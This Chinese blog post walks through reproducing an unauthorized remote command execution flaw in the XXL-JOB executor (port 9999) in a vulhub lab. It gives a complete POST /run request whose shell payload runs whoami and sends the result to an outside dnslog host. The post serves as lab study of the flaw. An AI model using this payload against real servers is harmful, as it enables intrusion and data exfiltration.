首页 > 其他分享 >XXL-JOB executor未授权访问漏洞

XXL-JOB executor未授权访问漏洞

时间:2023-12-04 15:33:24浏览次数:31  
标签:application ip 9999 漏洞 JOB executor XXL

XXL-JOB概述

XXL-JOB 是一个开源的分布式任务调度平台,支持定时任务和分布式任务。该平台提供了一套可视化的任务管理界面,方便用户配置和监控任务的执行情况。

漏洞概述

漏洞影响版本:<=2.2.0

executor默认没有配置认证,未授权的攻击者可以通过RESTful API接口执行任意命令。

此漏洞为XXL-JOB配置不当情况下反序列化RCE。

执行器配置文件中说到端口号在默认情况下是9999

复现

本地搭建靶场,使用靶场为vulhub,使用docker运行环境

启动环境后,http://ip:8080为管理端,http://ip:9999为客户端

访问http://ip:9999/,出现以下情况可能存在漏洞

访问http://ip:9999/run,并使用bp抓包,将数据包的发送方式改为POST

数据包内容

POST /run HTTP/1.1
Host: {ip}:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 382

{
  "jobId": 4,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "ping -n 1 `whoami`.7fx080.dnslog.cn",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

注意:每次发送请求,需要更改报文中的jobId值,否则命令可能无法执行

成功得到回显

创建文件

 

注意:此环境由docker搭建,创建的文件生成于对应的容器中

复现完成

标签:application,ip,9999,漏洞,JOB,executor,XXL
From: https://www.cnblogs.com/wavewindsor/p/17875044.html

相关文章

  • ThreadPoolExecutor线程池内部处理浅析
    我们知道如果程序中并发的线程数量很多,并且每个线程都是执行一个时间很短的任务就结束时,会因为频繁创建线程而大大降低系统的效率,因此出现了线程池的使用方式,它可以提前创建好线程来执行任务。本文主要通过java的ThreadPoolExecutor来查看线程池的内部处理过程。1ThreadPoolExec......
  • 【Azure Web Job】Azure Web Job执行Powershell脚本报错 The term 'Select-Az
    问题描述AzureWebJob执行Powershell脚本报错 Select-AzContext:Theterm'Select-AzContext'isnotrecognizedasthenameofacmdlet,function,scriptfile,oroperableprogram.Checkthespellingofthename,orifapathwasincluded,verifythatthepa......
  • 解锁 ElasticJob 云原生实践的难题
    发生了什么最近在逛ElasticJob官方社区时发现很多小伙伴都在头疼这个ElasticJob上云的问题,ElasticJob本就号称分布式弹性任务调度框架,怎么在云原生环境就有了问题了呢,这就要从Kubenertes和ElasticJob的一些状态化说起。有意思的状态在了解两者特性之前我们可以先来看下......
  • ThreadPoolTaskExecutor类
    ThreadPoolTaskExecutor类可用来创建线程池并添加任务1TreadPoolTaskExecutortaskExecutor=newThreadPoolTaskExecutor();2taskExecutor.setCorePoolSize(5);//设置核心线程数3taskExecutor.setMaxPollSize(10);//设置最大线程数4taskExecutor.setQu......
  • Odoo16_queue_job第三方异步队列
    1.安装第三方模块queue_jobqueue/queue_jobat16.0·OCA/queue·GitHub2.odoo配置文件,启动多workersworkers=3proxy_mode=Trueserver_wide_modules=web,queue_job[queue_job]channels=root:23.使用方法fromodooimportmodels,fields,apiclass......
  • [Flink] Flink(CDC/SQL)Job在启动时,报“ConnectException: Error reading MySQL varia
    1问题描述1.1基本信息所属环境:CN-PT问题时间:2023-11-21所属程序:FlinkJob(XXXPT_dimDeviceLogEventRi)作业类型:FlinkSQLJob数据流:业务MySQL==>FlinkJob(FlinkCdcConnector(mysql)+FlinkSQL)==>BigdataKafka==>BigdataOLAP==>业务系统作业......
  • Chart兼容CronJob两个ApiVersion实践
    实际环境在工作中,有多个k8s集群需要同时管理,随着业务的扩充,先运行的K8s的版本和新运行的K8s版本就有出现差异,有些资源清单的apiVersion、格式、写法就会出现不兼容的情况。实际情况是在部署CronJob的资源时,部署失败。差异:A集群版本为v1.17.4B集群版本为v1.26.1在Kubernetes中,Cr......
  • Caused by: org.gradle.workers.internal.DefaultWorkerExecutor$WorkExecutionExcept
    在AndroidStudio的Helloword在增加了个部局XML内容后报错,如下错误:Causedby:org.gradle.workers.internal.DefaultWorkerExecutor$WorkExecutionException:Afailureoccurredwhileexecutingcom.android.build.gradle.internal.res.ParseLibraryResourcesTask$ParseResource......
  • 直播软件开发,ScheduledExecutorService定时器的使用
    直播软件开发,ScheduledExecutorService定时器的使用/**   *延迟执行和周期重复执行的线程池   */  publicScheduledExecutorServicemScheduledExecutorService;   publicvoidstartTest(){    mScheduledExecutorService=newScheduledThreadP......
  • 高级调度 —— CronJob计划任务、初始化容器 InitContainer
    一、CronJob计划任务在k8s中周期性运行计划任务,与linux中的crontab相同注意点:CronJob执行的时间是controller-manager的时间,所以一定要确保controller-manager时间是准确的,另外cronjob一)cron表达式#┌─────────────分钟(0-59)#│┌───......